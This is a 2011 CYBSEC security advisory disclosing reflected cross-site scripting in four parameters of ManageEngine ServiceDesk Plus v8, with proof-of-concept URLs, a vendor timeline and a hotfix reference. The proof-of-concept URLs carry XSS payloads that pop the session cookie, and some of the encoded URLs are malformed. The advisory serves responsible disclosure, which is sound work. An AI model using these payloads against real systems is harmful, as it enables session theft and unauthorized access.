CYBSEC®
Security Systems

Advisory Name: Multiple Cross-Site Scripting (XSS) in AdventNet ManageEngine ServiceDesk Plus

Internal Cybsec Advisory Id: 2011-0801-MultipleXSS in ManageEngine ServiceDesk Plus

Vulnerability Class: Reflected Cross-Site Scripting (XSS)

Release Date: August 23, 2011

Affected Applications: AdventNet ManageEngine ServiceDesk Plus v8; other versions may also be affected.

Affected Platforms: Any running AdventNet ManageEngine ServiceDesk Plus v8

Local / Remote: Remote

Severity: Medium – CVSS: 3.5 (AV:N/AC:M/Au:S/C:N/I:P/A:N)

Researcher: Juan Manuel Garcia

Vendor Status: Acknowedged

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

Multiple Reflected Cross Site Scripting vulnerabilities were found in Oracle AdventNet ManageEngine ServiceDesk Plus, because the application fails to sanitize user-supplied input. The vulnerabilities can be triggered by any logged-in user.

At least the following parameters are not properly sanitized:

/AnnounceShow.do: **select**

/HomePage.do: **serviceId**

/calendar/MiniCalendar.jsp: **module**

/jsp/ServiceCatalog.jsp: **serviceId**

Some Proof of Concepts:

http://xxx.xxx.xxx.xxx/AnnounceShow.do
Parameter: select

* The GET request has been set to: **" onmouseover=prompt(document.cookie) bad="**
http://xxx.xxx.xxx.xxx/AnnounceShow.do?select=%22%20onmouseover%3dprompt%28document.co

okie%29%20bad%3d%22

http://xxx.xxx.xxx.xxx/calendar/MiniCalendar.jsp
Parameter: module

* The GET request has been set to: **" onmouseover%3dprompt(document.cookie) bad%3d"**

http://xxx.xxx.xxx.xxx/calendar/MiniCalendar.jsp?module=%22%20onmouseover%3dprompt%document.cookie%29%20bad%3d%22&month=5&year=2011

http://xxx.xxx.xxx.xxx/jsp/ServiceCatalog.jsp
Parameter: serviceId

* The GET request has been set to: **" onmouseover%3dprompt(document.cookie) bad%3d"**

http://xxx.xxx.xxx.xxx/jsp/ServiceCatalog.jsp?serviceId=%22%20onmouseover%3dprompt%document.cookie%29%20bad%3d%22

http://xxx.xxx.xxx.xxx/HomePage.do
Parameter: serviceId

* The GET request has been set to: **" onmouseover%3dprompt(document.cookie) bad%3d"**

http://xxx.xxx.xxx.xxx/HomePage.do?serviceId=%27%20onmouseover%3dprompt%document.cookie%29%20bad%3d%27&viewType=serviceCatalog

Impact:
An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an attacker may obtain authorization cookies that would allow him to gain unauthorized access to the application.

Solution:
Upgrade to AdventNet ManageEngine ServiceDesk Plus v8 hotfix 8015.

Vendor Response:

2011/07/10 - Vulnerability was identified.
2011/07/19 - The vulnerability received the ID 6501921 and Cybsec sent details about the issue and a Proof of Concept.
2011/07/29 – Vendor said that the vulnerability will be fixed in the next hotfix 8015.
2011/08/16 – Vendor released the hotfix 8015.
2011/08/23 - Vulnerability was released.

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at **jmgarcia <at> cybsec <dot> com**

About CYBSEC S.A. Security Systems

Since 1996, **CYBSEC** is engaged exclusively in rendering professional services specialized in Information Security. Their area of services covers Latin America, Spain and over 250 customers are a proof of their professional life.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or hardware provider companies.

Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable.

Beyond professional services, CYBSEC is continuously researching new defense and attack techniques and contributing with the security community with high quality information exchange.

For more information, please visit www.cybsec.com